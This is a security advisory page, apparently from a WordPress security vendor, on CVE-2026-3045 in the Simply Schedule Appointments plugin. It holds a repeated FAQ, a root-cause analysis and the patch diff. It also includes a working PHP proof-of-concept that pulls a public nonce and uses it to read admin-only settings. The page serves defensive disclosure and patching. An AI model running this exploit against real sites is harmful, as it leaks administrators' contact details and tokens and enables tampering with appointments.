What is CVE-2026-3045?

CVE-2026-3045 is a high-severity vulnerability in the Simply Schedule Appointments plugin for WordPress, affecting versions up to and including 1.6.9.29. It allows unauthenticated users to access sensitive admin-only settings through a REST API endpoint due to insufficient authorization checks.

How does the vulnerability work?

The vulnerability arises from a public nonce that is exposed to unauthenticated users via the /wp-json/ssa/v1/embed-inner endpoint. Attackers can use this nonce to bypass authorization checks and access sensitive settings through the /wp-json/ssa/v1/settings/{section} endpoint.

Who is affected by this vulnerability?

Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.29 or earlier is at risk. Administrators should check their plugin version in the WordPress dashboard to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard. Locate the Simply Schedule Appointments plugin and verify its version number. If it is 1.6.9.29 or earlier, your site is vulnerable.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Simply Schedule Appointments plugin to version 1.6.10.0 or later, where the issue has been patched. Regularly updating plugins is a best practice for maintaining site security.

What does a CVSS score of 7.5 indicate?

A CVSS score of 7.5 indicates a high severity vulnerability that poses a significant risk to affected systems. This means that exploitation is relatively easy and can lead to unauthorized access to sensitive information.

What kind of sensitive information is exposed?

The vulnerability exposes sensitive admin-only settings, including the administrator’s email address, phone number, internal access tokens, notification configurations, and appointment tokens, which can be exploited by attackers.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an attacker can retrieve a public nonce from the vulnerable embed endpoint and then use it to access sensitive admin settings. This illustrates the ease of exploitation due to the lack of proper authorization checks.

What are the risks of not addressing this vulnerability?

Failing to address this vulnerability can lead to unauthorized access to sensitive information, allowing attackers to manipulate or cancel appointments and access confidential admin settings. This can result in data breaches and loss of trust.

How can I further secure my WordPress site?

In addition to updating vulnerable plugins, consider implementing security measures such as using strong passwords, enabling two-factor authentication, and regularly reviewing user permissions. Regular security audits can also help identify potential vulnerabilities.

Where can I find more information about CVE-2026-3045?

More information about CVE-2026-3045 can be found on the official CVE database or security advisory websites. Additionally, the plugin’s changelog will provide insights into the changes made in the patched version.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-3045: Appointment Booking Calendar <= 1.6.9.29 – Missing Authorization to Unauthenticated Sensitive Information Exposure via Settings REST API Endpoint (simply-schedule-appointments)

CVE ID CVE-2026-3045

Plugin simply-schedule-appointments

Severity High (CVSS 7.5)

CWE 862

Vulnerable Version 1.6.9.29

Patched Version 1.6.10.0

Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3045: The vulnerability stems from two compounding authorization failures in the Simply Schedule Appointments WordPress plugin. First, the plugin exposes a non-user-bound `public_nonce` to unauthenticated users via the `/wp-json/ssa/v1/embed-inner` REST endpoint. Second, the `get_item()` method in `SSA_Settings_Api` (file: class-settings-api.php, line 128) relies on `nonce_permissions_check()` for authorization but fails to call `remove_unauthorized_settings_for_current_user()` to filter restricted fields. This allows any user with the public nonce to bypass intended access controls. The attack vector involves an unauthenticated attacker retrieving a valid nonce from the public embed endpoint, then using that nonce to make authenticated requests to the admin-only settings API endpoint at `/wp-json/ssa/v1/settings/{section}`. The patch adds a call to `remove_unauthorized_settings_for_current_user()` within the `get_item()` method, ensuring settings are filtered based on the current user’s permissions. Exploitation exposes admin-only plugin settings including administrator contact details, internal access tokens, notification configurations, developer settings, and appointment tokens. The exposed appointment tokens enable attackers to modify or cancel existing appointments.

Differential between vulnerable and patched code

Code Diff

--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -1440,7 +1440,10 @@
 		}

 		if ( current_user_can( 'ssa_manage_appointments' ) ) {
-			return true;
+			$params = $request->get_params();
+			if ( ! empty( $params['id'] ) && $this->plugin->staff_appointment_model->user_has_appointment_id( get_current_user_id(), (int) $params['id'] ) ) {
+				return true;
+			}
 		}

 		$params = $request->get_params();
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.9.29';
+	const VERSION = '1.6.10.0';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.29';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.10.0';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.9.29';
+	const MINIMUM_PHP_VERSION = '1.6.10.0';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.9.29
+	 *  @version    1.6.10.0
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/class-settings-api.php
+++ b/simply-schedule-appointments/includes/class-settings-api.php
@@ -128,6 +128,7 @@
 	 */
 	public function get_item( $request ) {
 		$settings = $this->plugin->settings->get();
+		$settings = $this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings );
 		if ( empty( $settings[$request['id']] ) ) {
 			return array(
 				'response_code' => 404,
--- a/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
+++ b/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
@@ -1181,7 +1181,15 @@
 		$sanitized_orderby = sanitize_key(esc_sql( $args['orderby'] ));
 		$sanitized_order = 'ASC' === strtoupper( esc_sql( $args['order'] ) ) ? 'ASC' : 'DESC';
 		$table_name      = $this->get_table_name();
-		$fields          = empty( $args['fields'] ) ? '*' : '`' . implode( '`, `', $args['fields'] ) . '`';
+
+		if ( empty( $args['fields'] ) ) {
+			$fields = '*';
+		} else {
+			$valid_fields   = array_keys( $this->get_fields() );
+			$requested      = array_map( 'sanitize_key', (array) $args['fields'] );
+			$safe_fields    = array_intersect( $requested, $valid_fields );
+			$fields         = empty( $safe_fields ) ? '*' : '`' . implode( '`, `', $safe_fields ) . '`';
+		}

 		// if( $rows === false ) {
 			$sql = $wpdb->prepare( "SELECT $fields FROM  $table_name $where ORDER BY $sanitized_orderby $sanitized_order LIMIT %d,%d;", absint( $args['offset'] ), absint( $args['number'] ) );
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.9.29
+ * Version:     1.6.10.0
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.9.29
+ * @version 1.6.10.0
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.9.29';
+	const VERSION = '1.6.10.0';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '03b73d1b9dd38e343b43649f9def24151b7a447b',
+        'reference' => '594fc2d148be65168dc82cf3514b09912153a0d2',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '03b73d1b9dd38e343b43649f9def24151b7a447b',
+            'reference' => '594fc2d148be65168dc82cf3514b09912153a0d2',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3045 - Appointment Booking Calendar <= 1.6.9.29 - Missing Authorization to Unauthenticated Sensitive Information Exposure via Settings REST API Endpoint
<?php

$target_url = 'http://vulnerable-site.com';

// Step 1: Retrieve a public nonce from the embed endpoint
$embed_url = $target_url . '/wp-json/ssa/v1/embed-inner';
$ch = curl_init($embed_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    die('Failed to retrieve embed data. HTTP Code: ' . $http_code);
}

$embed_data = json_decode($response, true);
if (!isset($embed_data['nonce'])) {
    die('Public nonce not found in embed response.');
}

$public_nonce = $embed_data['nonce'];
echo 'Obtained public nonce: ' . $public_nonce . "n";
curl_close($ch);

// Step 2: Use the nonce to access admin-only settings
// The 'general' section contains sensitive admin email and phone
$settings_url = $target_url . '/wp-json/ssa/v1/settings/general';
$ch = curl_init($settings_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// The nonce is passed as an X-WP-Nonce header in REST API requests
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $public_nonce
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    $settings = json_decode($response, true);
    echo 'SUCCESS: Retrieved admin settings.n';
    echo 'Admin Email: ' . ($settings['admin_email'] ?? 'Not found') . "n";
    echo 'Admin Phone: ' . ($settings['admin_phone'] ?? 'Not found') . "n";
    // Other sensitive fields may be present depending on configuration
    echo 'Full response: ' . print_r($settings, true) . "n";
} else {
    echo 'Failed to retrieve settings. HTTP Code: ' . $http_code . "n";
    echo 'Response: ' . $response . "n";
}

?>

Frequently Asked Questions

What is CVE-2026-3045?
Overview of the vulnerability
CVE-2026-3045 is a high-severity vulnerability in the Simply Schedule Appointments plugin for WordPress, affecting versions up to and including 1.6.9.29. It allows unauthenticated users to access sensitive admin-only settings through a REST API endpoint due to insufficient authorization checks.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from a public nonce that is exposed to unauthenticated users via the /wp-json/ssa/v1/embed-inner endpoint. Attackers can use this nonce to bypass authorization checks and access sensitive settings through the /wp-json/ssa/v1/settings/{section} endpoint.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.29 or earlier is at risk. Administrators should check their plugin version in the WordPress dashboard to determine if they are affected.
How can I check if my site is vulnerable?
Steps to verify plugin version
To check if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard. Locate the Simply Schedule Appointments plugin and verify its version number. If it is 1.6.9.29 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Updating the plugin
To mitigate this vulnerability, update the Simply Schedule Appointments plugin to version 1.6.10.0 or later, where the issue has been patched. Regularly updating plugins is a best practice for maintaining site security.
What does a CVSS score of 7.5 indicate?
Understanding severity ratings
A CVSS score of 7.5 indicates a high severity vulnerability that poses a significant risk to affected systems. This means that exploitation is relatively easy and can lead to unauthorized access to sensitive information.
What kind of sensitive information is exposed?
Details of the data at risk
The vulnerability exposes sensitive admin-only settings, including the administrator’s email address, phone number, internal access tokens, notification configurations, and appointment tokens, which can be exploited by attackers.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept demonstrates how an attacker can retrieve a public nonce from the vulnerable embed endpoint and then use it to access sensitive admin settings. This illustrates the ease of exploitation due to the lack of proper authorization checks.
What are the risks of not addressing this vulnerability?
Consequences of inaction
Failing to address this vulnerability can lead to unauthorized access to sensitive information, allowing attackers to manipulate or cancel appointments and access confidential admin settings. This can result in data breaches and loss of trust.
How can I further secure my WordPress site?
Best practices for security
In addition to updating vulnerable plugins, consider implementing security measures such as using strong passwords, enabling two-factor authentication, and regularly reviewing user permissions. Regular security audits can also help identify potential vulnerabilities.
Where can I find more information about CVE-2026-3045?
Resources for further reading
More information about CVE-2026-3045 can be found on the official CVE database or security advisory websites. Additionally, the plugin’s changelog will provide insights into the changes made in the patched version.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations